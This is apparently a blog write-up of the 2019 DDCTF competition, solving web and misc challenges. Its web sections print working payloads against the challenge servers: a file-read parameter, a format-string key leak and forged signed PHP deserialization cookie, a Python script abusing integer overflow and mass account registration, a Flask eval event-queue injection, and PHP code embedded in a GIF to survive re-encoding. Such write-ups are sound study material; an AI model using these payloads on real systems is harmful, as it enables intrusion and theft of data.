2019 DDCTF WriteUp

Web

滴~

对于这个题,无话可说,我只想打死出题人。

Url:

1
http://117.51.150.246

访问,得到如下界面:

此时,url跳转为:

1
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09

TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 进行两次base64,再从16进制转成ascii,得到flag.jpg。
可以推出存在文件包含/源码泄漏。

读取 index.php 源码。
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

得到一个CSDN博客的链接,访问发现发文日期是 2018年06月07日 23:58:02,而注释中的日期是July 4,2018。
故找到博主在该日期发的blog。
是这篇:vim 异常退出 swp文件提示
读完整篇文章,是关于vim缓存的swp文件。全文主要提及的示例文件为 .practice.txt.swp

访问:

1
http://117.51.150.246/.practice.txt.swp [404]

试了各种swo,swn等等均404。
最后,正确链接应为(出题人biss):

1
http://117.51.150.246/practice.txt.swp

得到flag文件地址 f1ag!ddctf.php
利用源码读取的漏洞,读取源码。
f1ag!ddctf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

读取 hello,发现为空。
所以uid留空即可。

1
http://117.51.150.246/f1ag!ddctf.php?uid=

Get the Flag:

1
DDCTF{436f6e67726174756c6174696f6e73}

WEB签到题

Url:

1
http://117.51.158.44/index.php

访问后,提示:

1
抱歉,您没有登陆权限,请获取权限后访问-----

分析页面源代码,找到 /js/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/

function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

添加Header:

1
didictf_username: admin

得到:

1
您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php

访问app/fL2XID2i0Cdh.php,发现是代码审计。
源代码如下:

url:app/Application.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

url:app/Session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

}
}


$ddctf = new Session();
$ddctf->index();

可以看出这是一个php反序列化漏洞,但是cookie使用eancrykey签名,我们必须得到eancrykey才能通过验证。
再看这段代码:

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

可以看出这是一个字符串格式化,故,我们将nickname设置为 %s,即可将eancrykey打印出来。

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22bf8d6b314fa6344d0b92c7c49c2e83bc%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22111.40.48.56%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F73.0.3683.86+Safari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D2ca5912a575e254f98a4214b16b51a82
didictf_username: admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

nickname=%s

Response:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 12 Apr 2019 08:40:57 GMT
Content-Type: application/json
Connection: close
Content-Length: 364

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS\r\n"}{"errMsg":"sucess","data":"DiDI Welcome you Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/73.0.3683.86 Safari\/537.36"}

得到eancrykey为 EzblrbNS

然后构造序列化脚本,注意这里需要对"../"和"..\"的替换进行处理,还有保证字符串长度为18。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
Class Application {
var $path = '../..././config/flag.txt';
}

$arr= array(
'session_id' => "032c9b9dae49cfd2d789ad7456c50ba8",
'ip_address' => "111.40.48.56",
'user_agent' => "Mozilla/5.0 (Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36 (KHTML,+like+Gecko)+Chrome/73.0.3683.86+Safari/537.36",
'user_data' => new Application(),
);

$s = serialize($arr);

echo urlencode($s.md5("EzblrbNS".$s));

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36 (KHTML,+like+Gecko)+Chrome/73.0.3683.86+Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22032c9b9dae49cfd2d789ad7456c50ba8%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%22111.40.48.56%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows%2BNT%2B10.0%3B%2BWin64%3B%2Bx64%29%2BAppleWebKit%2F537.36+%28KHTML%2C%2Blike%2BGecko%29%2BChrome%2F73.0.3683.86%2BSafari%2F537.36%22%3Bs%3A9%3A%22user_data%22%3BO%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A24%3A%22..%2F...%2F.%2Fconfig%2Fflag.txt%22%3B%7D%7D2d47da5f9cf8faecc976e30318be3800;
didictf_username: admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

nickname=%s

Response:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Fri, 12 Apr 2019 10:13:39 GMT
Content-Type: application/json
Connection: close
Content-Length: 280

{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"Welcome","data":"Welcome my friend EzblrbNS\r\n"}{"errMsg":"Congratulations","data":"DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}"}

Get the Flag:

1
DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

大吉大利,今晚吃鸡~

Url:

1
http://117.51.147.155:5050/index.html#/login

正常注册登陆,购票支付,余额不足。
发现下单的地方可以修改订单价格。

1
http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=2000

将金额改为2147483648,支付的时候服务器报错;改成2147483647,则余额不足。此处应该是将金额溢出为负数或者0或者小于100。

尝试4294967296,支付成功。
进入游戏,只需要移除99个玩家即可。
注册小号,批量获取id和ticket。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#-*- coding: utf-8 -*-

import requests
import datetime
import time
import random

headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"}


class User(object):
def __init__(self, un, pwd):
self.un = un
self.pwd = pwd
self.s = requests.Session()

def reg(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/register", headers=headers, params={
"name": self.un,
"password": self.pwd
})
# return r.json().get('data')[0].get('account')

def order(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/buy_ticket", headers=headers, params={
"ticket_price": 2**32,
})
self.bill_id = r.json().get('data')[0].get('bill_id')

def buy(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/pay_ticket", headers=headers, params={
"bill_id": self.bill_id,
})
self.id = r.json().get('data')[0].get('your_id')
self.ticket = r.json().get('data')[0].get('your_ticket')

def remove(self, ticket, player_id):
r = self.s.get("http://117.51.147.155:5050/ctf/api/remove_robot", headers=headers, params={
"ticket": ticket,
"id": player_id,
})
print(r.text)

def get_flag(self):
r = self.s.get("http://117.51.147.155:5050/ctf/api/get_flag", headers=headers)
return r.text

def get_tickct(self):
return {'ticket': self.ticket, 'id': self.id}


def reg_player(un, pw):
player = User(un, pw)
player.reg()
time.sleep(0.5)

try:
player.order()
time.sleep(0.5)

player.buy()
time.sleep(0.5)
except:
player.ticket = '46f7f7e50b54a636f3aae60dd839590b'
player.id = "99999"
return player


def main():
print("----------Start-----------")
un = "jzzdz" + str(random.randint(0, 99999999))
winner = reg_player(un, "123456aaaaa")
print("Reg user: ", un)
print("---------Start Game---------")

while True:
player = reg_player("jzzzd" + str(random.randint(0, 99999999)), "123456aaaaa")
info = player.get_tickct()
winner.remove(info['ticket'], info['id'])
time.sleep(0.5)
print("------------------------------")
flag = winner.get_flag()
print(flag)
print("------------------------------")
if "DDCTF" in flag:
break


if __name__ == "__main__":
main()

这服务还会出现重复的id和ticket。。越到后面越慢。最后四个人跑了快半个小时,醉了。

Get the Flag:

homebrew event loop

Url:

1
http://116.85.48.107:5002/d5af31f66177e857

分析源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66177e857'

def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored

def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)

def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack

class RollBackException: pass

def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp

@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()

# handlers/functions below --------------------------------------

def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html

def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':

source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'

for line in source:
if bool_download_source != 'True':
html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
else:
html += line
source.close()

if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')

def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])

def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume

def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'

def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')

if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')

这段源码实现了一个任务队列,按顺序执行任务并记录最近五个操作。
源码中有个eval,并且可以#注释掉后面的字符串,从而调用我们想要调用的函数。但是这个函数必须要能接收一个list。
一开始,是想着用eval调用FLAG函数,直接把flag打印出来,后来发现行不通,无法解决参数问题。然后想着利用eval将secret_key打印出来,自己构造session,从而调用get_flag_handler,即可在session中读取出flag,后发现在合法字符中也无法将其打印出来。
最后得到正确思路,get_flag_handler要求session['num_items']>=5,而修改session['num_items']的函数是buy_handler。在buy_handler执行结束后,调用consume_point_function,对于buy_handler的参数进行检测,大于3则会抛出RollBackException。故我们可以从中间下手,破坏这个任务队列,在consume_point_function之前就调用get_flag_handler,将flag记录在session中,从而得到flag。

Payload:

1
http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;

调用trigger_event,即可插入自定义的任务队列,将flag记录在session中。

破解session可以使用下面这个脚本:
Flask-Unsign

破解得到的session:

1
2
flask-unsign --decode --cookie ".eJyNjl9LwzAAxL-K5HkPaeLsUujL0BQGa3C ryx8RaZY5m6VZseumGf3uFkFB5oNvB3f3uzsDt9-C5PEMrjRIgOQ5LDnpmF98lNx4JWYvSiin_b1liFqTuaO2TWXELs6X-avEi0aj6xuFVlAg1Uq-jkE_usDVs2hTtNFgXTjGGUpqnVHPTmkK-qeftvKrTobGajQOhkdO4Omx5GPIwkP6B8mrRol1PCR2Smy_SL9BocwI_n45xxJqOgnG5p2hk_f57fQkEGVqOFPc0WIZEVtA8qaz_44B39XP1WFTtyCBI9DsK38YJO4_AZU1cI8.D5N8_A.KRstbZNCK7q2YsgQ9B-JgBQq4FE"
{'log': [b'action:trigger_event#;action:buy;5#action:get_flag;', [b'action:buy;5', b'action:get_flag;'], [b'func:consume_point;5', b'action:view;index'], b'func:show_flag;3v4l_3v3nt_100p_aNd_fLASK_cOOkle', b'action:view;index'], 'num_items': 0, 'points': 3}

Get the Flag:

1
DDCTF{3v4l_3v3nt_100p_aNd_fLASK_cOOkle}

Upload-IMG

Url:

1
2
3
4
http://117.51.148.166/upload.php

user:dd@ctf
pass:DD@ctf#000

访问后,上传文件后提示:

1
[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()

于是在图片中插入shellcode:

1
<?php phpinfo();?>

参考Defeating-PHP-GD-imagecreatefromjpeg
Google一张gif表情包,上传。将上传后的得到的图片保存到本地,再次上传,并保存新的图片。将两次得到的图片的十六进制编码进行比对,在第一张图片the Scan Header (00 0C 03 01 00 02 11 03 11 00 3F 00)后任意一处相同的位置,修改为shellcode即可。

Get the Flag:

1
DDCTF{B3s7_7ry_php1nf0}

Misc

真-签到题

看公告,Get the Flag:

1
DDCTF{return DDCTF::get(2019)->flagOf(0);}

Wireshark

将获取到的流量包,放入Wireshark,查看http协议。

查看到两个PNG文件,保存。

钥匙状的图疑似被截图,修改图片高度。

PNG文件信息相关:

1
2
3
4
5
6
7
8
9
- (固定)八个字节89 50 4E 47 0D 0A 1A 0A为png的文件头
- (固定)四个字节00 00 00 0D(即为十进制的13)代表数据块的长度为13
- (固定)四个字节49 48 44 52(即为ASCII码的IHDR)是文件头数据块的标示(IDCH)
- (可变)13位数据块(IHDR)
- 前四个字节代表该图片的宽
- 后四个字节代表该图片的高
- 后五个字节依次为:
Bit depth、ColorType、Compression methodFilter methodInterlace method
- (可变)剩余四字节为该pngCRC检验码,由从IDCHIHDR的十七位字节进行crc计算得到。

修改后得到:

Key:

1
xS8niJM7

分析流量包时,发现一条get请求。

1
http://tools.jb51.net/aideddesign/img_add_info

发现是图片解密网站,将key输入并上传另一张图,解密,得到:

1
flag+AHs-44444354467B4E62756942556C52356C687777324F6670456D75655A6436344F6C524A3144327D+AH0-

将中间的字段从十六进制转为ascii。
Get the Flag:

1
DDCTF{NbuiBUlR5lhww2OfpEmueZd64OlRJ1D2}

2019 DDCTF WriteUp
https://250.ac.cn/2019/04/19/2019-DDCTF-WriteUp/
Author
惊蛰
Posted on
April 19, 2019
Licensed under